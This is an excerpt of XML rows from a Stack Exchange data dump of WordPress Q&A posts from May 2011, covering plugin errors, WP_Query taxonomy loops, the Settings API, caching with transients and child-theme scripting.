  <row Id="18561" PostTypeId="2" ParentId="10558" CreationDate="2011-05-28T14:05:23.330" Score="0" ViewCount="" Body="&lt;p&gt;How often is this file updated?  Why not pull the data and store it in a transient with a time limit. That way when it is served you aren't processing anything and it's also cached. ( and your url issue is also probably resolved).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would typically also compare the stored transient value with most recent data and only update it if there is a change ( using &lt;code&gt;md5&lt;/code&gt; or &lt;code&gt;md5_file&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Transients_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-28T14:05:23.330" />
  <row Id="18562" PostTypeId="1" AcceptedAnswerId="18563" CreationDate="2011-05-28T14:07:17.540" Score="0" ViewCount="17" Body="&lt;p&gt;I have installed the audio plugin, to create Xbrowser playlists, but I am getting the following error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jPlayer 2.0.0 : id='jquery_jplayer_1' : Error!&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I have done so far is create a new post, upload audio to the post using the wordpress audio uploader, added the playlist to the post using the following shortcode, and published.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[audio layout=&quot;list&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also tried&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[audio]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but produced the same error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files are .mp3 format, they play in other players fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is stored locally, in case that is relevant.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-06-27T15:18:02.050" Title="Error Using Audio plugin" Tags="&lt;plugins&gt;&lt;audio&gt;" AnswerCount="1" />
  <row Id="18563" PostTypeId="2" ParentId="18562" CreationDate="2011-05-28T14:31:48.900" Score="0" ViewCount="" Body="&lt;p&gt;Answered my own question. Kept here for others who may have in the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turns out, being locally hosted WAS relevant. the problem is line 192 in &lt;code&gt;/wp-content/plugins/audio/js/audio.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;swfPath: 'http://' + window.location.host + '/wp-content/plugins/audio/js/',&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This expects the site to be based at the root &lt;code&gt;/&lt;/code&gt;, as mine was in a folder I just changed it to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;swfPath: 'http://' + window.location.host + 'MY_SITE/wp-content/plugins/audio/js/',&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and we're away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Remember:&lt;/strong&gt; revert to original line when moving to production.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-05-28T14:31:48.900" CommentCount="1" />
  <row Id="18564" PostTypeId="2" ParentId="18459" CreationDate="2011-05-28T14:33:07.757" Score="3" ViewCount="" Body="&lt;h2&gt;Bainternet User Ranks&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create and display user rank titles based on there post count, comment count or both.&#xA;This is aimed at multi Author,User blogs which you can create rank levels in your blog based on author post count, comment count or both. Its ranking system similar to a forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/H9YG0.jpg&quot; alt=&quot;user ranks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $baur_plugin = new baur_Plugin();&#xA;$user_rank = $baur_plugin-&amp;gt;ba_get_user_points($user_id,true);&#xA;echo &quot;title: &quot;. $user_rank['title'] . &quot;Points: &quot; . $user_rank['points'];?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download-Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-user-ranks/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9144/forum-esque-post-count-user-ranks-without-buddypress/9151#9151&quot;&gt;Forum-esque Post Count User Ranks (Without Buddypress)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T14:33:07.757" CommunityOwnedDate="2011-05-29T03:38:13.367" />
  <row Id="18565" PostTypeId="2" ParentId="17744" CreationDate="2011-05-28T14:35:46.697" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Advanced&lt;/a&gt; allows you to add several buttons including images.&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-05-28T14:35:46.697" />
  <row Id="18566" PostTypeId="2" ParentId="18542" CreationDate="2011-05-28T14:37:18.427" Score="1" ViewCount="" Body="&lt;p&gt;After some testing I figured out that yes, it will use the new schedule, updated using the 'cron_schedules' filter.&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-05-28T14:37:18.427" />
  <row Id="18567" PostTypeId="2" ParentId="18495" CreationDate="2011-05-28T14:40:14.777" Score="0" ViewCount="" Body="&lt;p&gt;I adjusted your code a little bit to integrate the &lt;code&gt;wp_query()&lt;/code&gt; class instead of &lt;code&gt;query posts()&lt;/code&gt;, which is &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1753/when-should-you-use-wp-query-vs-query-posts-vs-get-posts&quot;&gt;only meant for altering the main loop&lt;/a&gt;. You should &lt;em&gt;always&lt;/em&gt; opt to use &lt;code&gt;wp_query()&lt;/code&gt; when trying to create secondary loops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we're using &lt;code&gt;wp_query()&lt;/code&gt;, we're also going to have to use &lt;code&gt;wp_reset_postdata()&lt;/code&gt; instead of &lt;code&gt;wp_reset_query&lt;/code&gt;. Im not sure if this is going to fix your problem, but adjust your code to this, and we'll tackle the rest of your problems step by step.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $auto_types = get_terms('type', 'hide_empty=1'); ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php foreach( $auto_types as $auto_type ) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( $auto_type-&amp;gt;slug, 'type' ); ?&amp;gt;&quot;&amp;gt; &#xA;        &amp;lt;?php echo $auto_type-&amp;gt;name; ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php $auto_brands = get_terms('brand', 'parent=0' ); ?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php foreach ($auto_brands as $auto_brand) : ?&amp;gt;&#xA;                &amp;lt;?php $brand_filter['tax_query'] = array(&#xA;                        'relation' =&amp;gt; 'AND',&#xA;                        array(&#xA;                            'taxonomy' =&amp;gt; 'type',&#xA;                            'terms' =&amp;gt; array($auto_type-&amp;gt;slug),&#xA;                            'field' =&amp;gt; 'slug',&#xA;                        ),&#xA;                        array(&#xA;                            'taxonomy' =&amp;gt; 'brand',&#xA;                            'terms' =&amp;gt; array($auto_brand-&amp;gt;slug),&#xA;                            'field' =&amp;gt; 'slug',&#xA;                        ),&#xA;                    );&#xA;                    $tax_query = new WP_Query($brand_filter);&#xA;                    if ( $tax_query-&amp;gt;have_posts() ) :&#xA;&#xA;                        $count = 1;&#xA;                        while ( $tax_query-&amp;gt;have_posts() ) : &#xA;                        $tax_query-&amp;gt;the_post();&#xA;&#xA;                        if ( $count &amp;gt;= 1 ) { ?&amp;gt;&#xA;                           &amp;lt;li&amp;gt;&#xA;                               &amp;lt;a href=&quot;/?type=&amp;lt;?php echo $auto_type-&amp;gt;slug ?&amp;gt;&amp;amp;brand=&amp;lt;?php echo $auto_brand-&amp;gt;slug ?&amp;gt;&quot;&amp;gt;&#xA;                                   - - &amp;lt;?php echo $auto_brand-&amp;gt;name; ?&amp;gt; (&amp;lt;?php echo $count; ?&amp;gt;)&#xA;                               &amp;lt;/a&amp;gt;&#xA;                           &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;? }&#xA;&#xA;                        $count++;&#xA;&#xA;                        endwhile; &#xA;                        wp_reset_postdata();&#xA;&#xA;                    endif; &#xA;                endforeach &#xA;            ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;                 &#xA;    &amp;lt;/li&amp;gt;           &#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I added the &lt;code&gt;posts_per_page&lt;/code&gt; parameter and set it to &lt;code&gt;-1&lt;/code&gt; to show all posts. I tested it on my side. It should give you the results you were looking for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $auto_types = get_terms('type', 'hide_empty=1'); ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php foreach( $auto_types as $auto_type ) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( $auto_type-&amp;gt;slug, 'type' ); ?&amp;gt;&quot;&amp;gt; &#xA;        &amp;lt;?php echo $auto_type-&amp;gt;name; ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php $auto_brands = get_terms('brand', 'parent=0' ); ?&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php foreach ($auto_brands as $auto_brand) : ?&amp;gt;&#xA;                &amp;lt;?php $brand_filter = array(&#xA;                    'posts_per_page' =&amp;gt; '-1',&#xA;                    'tax_query' =&amp;gt; array(&#xA;                        'relation' =&amp;gt; 'AND',&#xA;                        array(&#xA;                            'taxonomy' =&amp;gt; 'type',&#xA;                            'field' =&amp;gt; 'slug',&#xA;                            'terms' =&amp;gt; array($auto_type-&amp;gt;slug),&#xA;                        ),&#xA;                        array(&#xA;                            'taxonomy' =&amp;gt; 'brand',&#xA;                            'field' =&amp;gt; 'slug',&#xA;                            'terms' =&amp;gt; array($auto_brand-&amp;gt;slug),&#xA;                        )&#xA;                    )&#xA;                );&#xA;                $tax_query = new WP_Query($brand_filter);&#xA;                    $count = 0;&#xA;                if ( $tax_query-&amp;gt;have_posts() ) : while ( $tax_query-&amp;gt;have_posts() ) : $tax_query-&amp;gt;the_post();&#xA;                    $count++;&#xA;                endwhile; endif; wp_reset_postdata();&#xA;                    if ( $count &amp;gt; 0 ) : ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;a href=&quot;/?type=&amp;lt;?php echo $auto_type-&amp;gt;slug ?&amp;gt;&amp;amp;brand=&amp;lt;?php echo $auto_brand-&amp;gt;slug ?&amp;gt;&quot;&amp;gt;&#xA;                                - - &amp;lt;?php echo $auto_brand-&amp;gt;name; ?&amp;gt; (&amp;lt;?php echo $count; ?&amp;gt;)&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endif; endforeach ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;                 &#xA;    &amp;lt;/li&amp;gt;           &#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-28T17:27:04.463" LastActivityDate="2011-05-28T17:27:04.463" CommentCount="7" />
  <row Id="18568" PostTypeId="2" ParentId="18559" CreationDate="2011-05-28T14:42:29.350" Score="2" ViewCount="" Body="&lt;p&gt;You can &lt;code&gt;media_sideload_image()&lt;/code&gt; function to upload your files ex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$upload = media_sideload_image( $url, $post_id );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can use a plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/cache-images/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cache Images&lt;/strong&gt;&lt;/a&gt; which uploads all external images to your server as attachments.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T14:42:29.350" />
  <row Id="18569" PostTypeId="2" ParentId="18555" CreationDate="2011-05-28T14:48:19.163" Score="1" ViewCount="" Body="&lt;p&gt;You have some of the callback functions and the ID's mixed up, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', function() {&#xA;    register_setting('elem_opts', 'elem_opts', 'elem_validate_opts');&#xA;    add_settings_section('elem_opts_form1', 'Elements Theme Options', 'elem_opts_form', 'elem_opts');&#xA;    add_settings_field('elem_opts_form', 'Facebook', 'elem_opts_social_fb_cb', 'elem_opts', 'elem_opts_form1');&#xA;});&#xA;&#xA;function elem_opts_social_fb_cb() {&#xA;  $opts = get_option('elem_opts');&#xA;  if (empty($opts) || !is_array($opts)) {&#xA;    $opts = array();&#xA;  }&#xA;  ?&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;elem_opts[fb]&quot; value=&quot;&amp;lt;?php echo $opts['fb'] ? $opts['fb'] : ''; ?&amp;gt;&quot; /&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;add_action('admin_menu', function() {&#xA;    add_theme_page('Elements Options', 'Elements Options', 'manage_options', 'elem_opts', 'elem_opts_cb');&#xA;});&#xA;&#xA;function elem_validate_opts($input) {&#xA;  return $input;&#xA;}&#xA;&#xA;function elem_opts_form() {&#xA;  ?&amp;gt;&#xA;  &amp;lt;p&amp;gt;Enable social network links, by entering your username for the respective social networks&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php&#xA;}&#xA;&#xA;function elem_opts_cb() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;Elements Theme Options&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;            &amp;lt;?php &#xA;            settings_fields('elem_opts'); &#xA;            do_settings_sections('elem_opts');&#xA;            ?&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Save changes&quot; /&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which give me this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/x6tSA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and for next time try to use different names and ids for each function, callback, section and page slug.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T14:48:19.163" CommentCount="1" />
  <row Id="18570" PostTypeId="2" ParentId="18459" CreationDate="2011-05-28T15:04:31.400" Score="6" ViewCount="" Body="&lt;h2&gt;Simple TOC&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin makes it easy to create a wiki like TOC (table of contents) in your posts or pages using shortcode, no linking or creating anchor is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/tY2b1.png&quot; alt=&quot;simple TOC&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adds a new tinymce for simple insertion, &lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-simple-toc/faq/&quot; rel=&quot;nofollow&quot;&gt;read here&lt;/a&gt; for customizing and advanced features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download-Link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bainternet-simple-toc/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16046/looking-for-a-table-of-contents-toc-plugin-for-wordpress/16056#16056&quot;&gt;Looking for a Table of Contents (TOC) plugin for WordPress?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T15:04:31.400" CommunityOwnedDate="2011-05-29T03:38:13.367" CommentCount="1" />
  <row Id="18571" PostTypeId="2" ParentId="15835" CreationDate="2011-05-28T15:29:18.663" Score="0" ViewCount="" Body="&lt;p&gt;I like this one: &lt;a href=&quot;http://wordpress.org/extend/plugins/easy-chart-builder/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Easy Chart Builder for WordPress&lt;/strong&gt;&lt;/a&gt; for one main reason, &lt;strong&gt;its easy to use&lt;/strong&gt; and done by simple shortcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/qrviO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/DqHLx.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/X6S31.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T15:29:18.663" />
  <row Id="18572" PostTypeId="2" ParentId="18554" CreationDate="2011-05-28T15:32:19.693" Score="0" ViewCount="" Body="&lt;p&gt;Your query return nothing since there is no field &lt;code&gt;ID&lt;/code&gt; in the postmeta table so it really should be &lt;code&gt;post_id&lt;/code&gt;&#xA;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$meta_key = 'project_id';&#xA;return $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT post_id FROM $wpdb-&amp;gt;postmeta WHERE meta_key = %s&quot;, $meta_key));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-28T15:32:19.693" />
  <row Id="18574" PostTypeId="1" AcceptedAnswerId="18575" CreationDate="2011-05-28T16:04:44.550" Score="0" ViewCount="39" Body="&lt;p&gt;I have a multisite installation, and I was changing the settings of one of my sites from the mu administration panel when I came across a setting called &lt;code&gt;Use BalanceTags&lt;/code&gt;. Out of curiosity, what does that setting do?&lt;/p&gt;&#xA;" OwnerUserId="4238" LastActivityDate="2011-05-28T16:26:32.843" Title="What does &quot;Use BalanceTags&quot; Do?" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="18575" PostTypeId="2" ParentId="18574" CreationDate="2011-05-28T16:26:32.843" Score="1" ViewCount="" Body="&lt;p&gt;balanceTags fixes incorrectly nested html markup, for instance if you had an opening tag but no closing tag, or if they're closed in the wrong order.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-05-28T16:26:32.843" />
  <row Id="18576" PostTypeId="1" CreationDate="2011-05-28T16:49:12.890" Score="0" ViewCount="69" Body="&lt;p&gt;I'm setting up a filter for 'posts_where'  like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_where', array(__CLASS__, 'addEventConditions'), 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The method looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// i've also tried passing $cur_query by reference&#xA;public static function addEventConditions($where, $cur_query) {&#xA;   echo $cur_query-&amp;gt;get('start_date');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is completely blowing up.  The filter passes in a WPQuery object so $cur_query should be that object, but for some reason it's not being passed as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need access to these args to add date specific SQL information and I can't use $wp_query, because this could be coming from a get_posts call which doesn't set $wp_query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? This has really got me banging my head against the wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to note is that $cur_query is getting set.  However, it's just returning an array and I don't have access to any of the WPQuery methods that I need to access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worst case I can just set a class variable that maps to my query args and use those, but I'd like to do everything internal to WPQuery if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a more complete simple test case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Test_Class {&#xA;    function __construct() {&#xA;        add_action( 'posts_where', array( $this, 'setupQuery'), 10, 2 );            &#xA;    }&#xA;&#xA;    public function setupQuery($sql, $test) {&#xA;        echo $test-&amp;gt;get('test');&#xA;    }&#xA;}&#xA;new Test_Class();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is returning&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error:  Call to a member function get() on a non-object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3455" LastEditorUserId="3455" LastEditorDisplayName="" LastEditDate="2011-05-29T04:03:57.473" LastActivityDate="2011-05-29T04:03:57.473" ClosedDate="2011-06-22T22:26:22.113" Title="WPQuery filter not performing as expected" Tags="&lt;wp-query&gt;&lt;filters&gt;" CommentCount="9" />
  <row Id="18577" PostTypeId="2" ParentId="17587" CreationDate="2011-05-28T17:10:29.363" Score="0" ViewCount="" Body="&lt;p&gt;In your header change &lt;code&gt;$post_id&lt;/code&gt; to &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set $post_id to the id of the post you want to attach&#xA;// these uploads to (or 'null' to just handle the uploads&#xA;// without attaching to a post)&#xA;&#xA;if ($_FILES) {&#xA;  foreach ($_FILES as $file =&amp;gt; $array) {&#xA;    $newupload = insert_attachment($file,$post-&amp;gt;ID);&#xA;    // $newupload returns the attachment id of the file that&#xA;    // was just uploaded. Do whatever you want with that now.&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-28T17:10:29.363" CommentCount="1" />
  <row Id="18578" PostTypeId="1" AcceptedAnswerId="18595" CreationDate="2011-05-28T17:57:25.523" Score="6" ViewCount="294" Body="&lt;p&gt;I've created custom taxonomy called &lt;code&gt;Brands&lt;/code&gt; and made it hierarchical so I can add Car brands and models there and keep their relations, like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ford&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mustang&lt;/li&gt;&#xA;&lt;li&gt;Mondeo&lt;/li&gt;&#xA;&lt;li&gt;Focus&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Problem is, this list might get pretty long and only one &lt;em&gt;brand&lt;/em&gt; and one &lt;em&gt;model&lt;/em&gt; is needed per post, so checkboxes are misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking to split that metabox in to two (one for brand and one for model) and make them dropdowns. So when brand is selected in the first dropdown, second dropdown would show only models related to that brand. But i have no idea how to code it. Maybe anyone could show me an example?&lt;/p&gt;&#xA;" OwnerUserId="5744" LastActivityDate="2011-06-25T17:29:49.760" Title="Taxonomy dropdown metabox in the back-end" Tags="&lt;wp-admin&gt;&lt;metabox&gt;&lt;taxonomy&gt;&lt;dropdown&gt;" AnswerCount="1" FavoriteCount="6" />
  <row Id="18579" PostTypeId="1" AcceptedAnswerId="18591" CreationDate="2011-05-28T19:07:07.243" Score="0" ViewCount="87" Body="&lt;p&gt;I use the default TwentyTen theme and I have made a child theme with some CSS adjustments, and that's pretty much it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'd like to do two things&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make the theme load the latest jQuery, and to load it using the Google CDN.&lt;/li&gt;&#xA;&lt;li&gt;Add a javascript file which would be loaded on every page.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the best way to do that? I'm a total WordPress newb, so don't really know my way around.&lt;/p&gt;&#xA;" OwnerUserId="1919" LastActivityDate="2011-05-29T04:06:52.197" Title="Best way to add some custom javascript using jquery to a child theme" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;theme-twenty-ten&gt;&lt;child-theme&gt;" AnswerCount="1" />
  <row Id="18580" PostTypeId="2" ParentId="18459" CreationDate="2011-05-28T19:41:13.177" Score="4" ViewCount="" Body="&lt;h2&gt;Really Simple Google Analytics&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Description:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Simply adds the asynchronous Google Analytics tracking code to the footer of your website. The only option is for you to enter your Google Web Property Id and thats it. Plugin includes support for the new trackPageLoadTime Google Analytics feature&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Screenshot&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/1R346.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Download-Link&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/really-simple-google-analytics/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org Plugin Repo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Related Question:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16406/analytics-plugins-that-allow-for-inclusion-of-trackpageloadtime&quot;&gt;Analytics plugins that allow for inclusion of _trackPageLoadTime()?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-28T19:41:13.177" CommunityOwnedDate="2011-05-29T03:38:13.367" CommentCount="0" />
  <row Id="18581" PostTypeId="1" AcceptedAnswerId="18583" CreationDate="2011-05-28T20:00:44.993" Score="1" ViewCount="62" Body="&lt;p&gt;I'm building a template for twentyten child theme. I need to add a class in  in the template page, but not in other pages.My template inherits the header and footer, so, I can't change any markup there. How can I add a class in there without adding that class to other pages? Thanks a lot for the help.&lt;/p&gt;&#xA;" OwnerUserId="5776" LastActivityDate="2011-05-28T20:37:16.417" Title="I want to add a class to main div on a template. how can I do that?" Tags="&lt;theme-twenty-ten&gt;&lt;child-theme&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="18582" PostTypeId="1" CreationDate="2011-05-28T20:32:49.670" Score="0" ViewCount="38" Body="&lt;p&gt;I'd like to include Pages in my RSS feed. Whenever I add or edit a page, I'd like it to show up in the feed. I can't seem to find any setting in the default WordPress installation or in the default (TwentyTen) theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a theme or plugin which can do this? I'm using the latest version of WordPress (3.1.3).&lt;/p&gt;&#xA;" OwnerUserId="5777" LastActivityDate="2011-08-27T06:35:21.163" Title="How to add pages to feed?" Tags="&lt;pages&gt;&lt;feed&gt;" AnswerCount="1" />
